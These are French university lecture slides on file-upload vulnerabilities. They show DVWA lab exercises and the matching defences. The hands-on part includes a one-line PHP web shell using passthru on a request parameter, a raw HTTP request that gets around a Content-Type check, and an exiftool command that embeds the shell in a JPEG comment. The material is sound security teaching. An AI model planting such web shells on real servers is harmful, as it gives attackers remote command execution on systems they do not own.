Charles Olivier-Anclin
charles.olivier-anclin@uca.fr
perso.isima.fr/~chaolivi

Clermont Auvergne INP
Université Clermont Auvergne

File Upload

Upload de fichier

- Deux problèmes
  - filtrage des types de fichiers uploadés ;
  - exposition / exécution des scripts au niveau du répertoire d'upload.
- Risque
  - upload de code arbitraire
    - backdoor ou remote shell.

Attaques sur la plateforme applicative

- Upload d'un fichier `.jsp` dans l'arborescence web : code JSP exécuté avec les droits de l'utilisateur web
- Upload d'un fichier `.gif` à redimensionner : exploitation d'une faille de la bibliothèque d'images
- Upload de fichiers volumineux : déni de service par saturation de l'espace disque/zip bombs
- Upload d'un fichier avec un chemin ou un nom malveillant : écrasement d'un fichier critique
- Upload d'un fichier contenant des données personnelles : accès par d'autres utilisateurs
- Upload d'un fichier contenant des « tags » : tags exécutés lors de l'« inclusion » du fichier dans une page web
- Upload d'un fichier `.rar` à analyser par l'antivirus : commande exécutée sur le serveur hébergeant l'antivirus vulnérable

Attaques sur d'autres systèmes

- Upload d'un fichier `.exe` dans l'arborescence web : les victimes téléchargent un exécutable piégé (trojan)
- Upload d'un fichier infecté par un virus : les machines des victimes sont infectées
- Upload d'un fichier `.html` contenant un script : les victimes subissent du Cross-site Scripting (XSS)
- Upload d'un fichier `.jpg` contenant un objet Flash : les victimes subissent du Cross-site Content Hijacking (détournement de contenu)
- Upload d'un fichier `.rar` à analyser par l'antivirus : commande exécutée sur le client hébergeant l'antivirus vulnérable

```
POST /upload HTTP/1.1
Host: app.example.test
Content-Type: multipart/form-data; boundary=----abc

------abc
Content-Disposition: form-data;
 name="document"; filename="photo.jpg"
Content-Type: image/jpeg

[contenu binaire]
------abc--
```

À retenir

Le nom, l'extension et le `Content-Type` déclarés par le client sont des métadonnées, pas des preuves.

Upload de fichier

Fonctionnalités légitimes

- Photo de profil
- Pièce jointe à un message
- CV ou document administratif
- Import CSV / Excel
- Images d'un produit

Questions de sécurité

- Quels formats sont attendus ?
- Quelle taille maximale ?
- Qui peut déposer ?
- Qui peut consulter ?
- Où les fichiers sont-ils stockés ?

- Configurations liées à l'upload à différents endroits
  - HTML (côté client) ;
  - PHP (moteur de script) ;
  - Apache (serveur web).
- Ergonomiquement intéressant pour l'utilisateur
  - elFinder ...
    - et leurs problèmes de sécurité.

Section 1 : **Pratique sur DVWA**

Upload / low

```
sudo chown -R www-data /var/www/DVWA/hackable/uploads
```

Upload d'un fichier `bd.php` simple :

```
<?php
echo passthru($_REQUEST['cmd']);
```

- Trouver le répertoire d'upload
  - chemins connus dans produits connus ;
  - code source HTML faisant référence au fichier uploadé.

```
../../hackable/uploads/bd.php succesfully uploaded!
```

Upload / $_FILES

```
cd /var/www/DVWA/vulnerabilities/upload/
vi source/low.php
```

```
print_r($_FILES);

Array (
    [uploaded] => Array (
        [name] => bd.php
        [type] => application/x-php
        [tmp_name] => /tmp/phpPU0gay
        [error] => 0
        [size] => 39
    )
)
```

Upload / security medium

- contrôle de l'entête HTTP **Content-Type** renvoyé par le navigateur

```
POST /vulnerabilities/upload/ HTTP/1.1
Host: vm-etu-vimazeno.local.isima.fr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------718083323183478391292209975O
Content-Length: 503
Origin: http://vm-etu-vimazeno.local.isima.fr
Connection: close
Referer: http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=nmce92vducq4busa165q4kk9g7
Upgrade-Insecure-Requests: 1

-----------------------------718083323183478391292209975O
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------718083323183478391292209975O
Content-Disposition: form-data; name="uploaded"; filename="db.php"
Content-Type: application/x-php

<?php
echo passthru($_REQUEST['cmd']);

-----------------------------718083323183478391292209975O
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------718083323183478391292209975O--
```

Upload / security high

- visionner le « Comment » du jpg avec exiftool
- modifier le champ *comment* avec exiftool

```
exiftool ~/Downloads/kitten.jpg \
  -comment="<?php echo passthru(\$_REQUEST['cmd']); __halt_compiler();?>"
```

→ Code uploadé

Code non exécuté ☹ : on doit passer par une autre vulnérabilité

- **CMDi** (command injection, cours 8) pour renommer `kitten.jpg` en `kitten.php` ;
- **LFI** (file inclusion, cours 9) pour inclure la payload contenue dans `kitten.jpg`.

ou `cp kitten.jpg kitten.php` ☺

db.php

```php
echo passthru($_REQUEST['cmd'])
```

Command	Output	Ce qui est vérifié
`$_FILES['uploaded']['type']`	`application/x-php`	Type MIME déclaré par le navigateur
`mime_content_type`	`text/x-php`	Type MIME déduit du contenu du fichier
`exif_imagetype`	`null (no image)`	Indique si le fichier possède une signature d'image reconnue
`finfo_file`	`text/x-php`	Type de fichier déterminé par l'analyse de son contenu
`getimagesize[2]`	`null (no image)`	Indique si le fichier possède une structure d'image reconnaissable

Upload / autres contrôles



lego.jpeg

Command	**Output**	Ce qui est vérifié
`$_FILES['uploaded']['type']`	`image/jpeg`	Le navigateur déclare que le fichier est un JPEG
`mime_content_type`	`image/jpeg`	Le serveur détecte un contenu de type JPEG
`exif_imagetype`	`2 (IMAGETYPE_JPEG)`	Reconnaît la signature d'image JPEG
`finfo_file`	`image/jpeg`	Fileinfo identifie le fichier comme un JPEG
`getimagesize[2]`	`image/jpeg`	Identifie correctement le format de l'image

Upload / autres contrôles



kitten.jpg.php

Command	Output	Ce qui est vérifié
`$_FILES['uploaded']['type']`	`application/x-php`	Le navigateur/client l'identifie comme lié à PHP
`mime_content_type`	`image/jpeg`	Le contenu semble être de type JPEG
`exif_imagetype`	`2 (IMAGETYPE_JPEG)`	La signature JPEG est détectée
`finfo_file`	`image/jpeg`	Le contenu du fichier est classé comme JPEG
`getimagesize[2]`	`null (no image)`	Le parseur n'a pas pu identifier les informations de l'image

Section 2 : **Se préserver**

- Filtrer par **extension de fichier** plutôt que par type MIME
  - utiliser des listes blanches plutôt que des listes noires ;
  - un nom de fichier peut contenir des points
    - il faut bien prendre l'extension.
  - c'est ce qui est fait avec security high (DVWA).

Désactiver PHP dans le répertoire d'upload

via le vhost ou `.htaccess` :

```
php_admin_value engine Off
```

Ne plus servir le répertoire d'upload

- Ne plus servir le répertoire d'upload via Apache
  - sortir le répertoire d'upload du dossier servi par Apache ;
  - en interdire la lecture avec un htaccess renvoyant une 403 `Forbidden`.

via le vhost ou `.htaccess` :

```
order deny, allow
deny from all
```

- Utiliser PHP pour lire les fichiers avec `readfile`
  - prendre en charge la génération des en-têtes **Content-Type** « manuellement »
    - igorw/IgorwFileServeBundle ;
    - download center lite - meilleure gestion des accès par permission (accès à la session courante).

Synthèse : attaque → défense

Attaque vue en TP	Défense
nom multi-extensions exécuté	liste blanche sur la dernière extension + refus de tout `.php` dans le nom
Content-Type client forgé	vérifier le contenu côté serveur (`finfo_file`, `getimagesize`)
polyglotte image + PHP	ré-encoder l'image, renommer, stocker hors de la racine web
`include()` sur un fichier déposé	`readfile` + `Content-Type` généré manuellement
`.htaccess` uploadé	`AllowOverride None` + `engine Off` dans le répertoire d'upload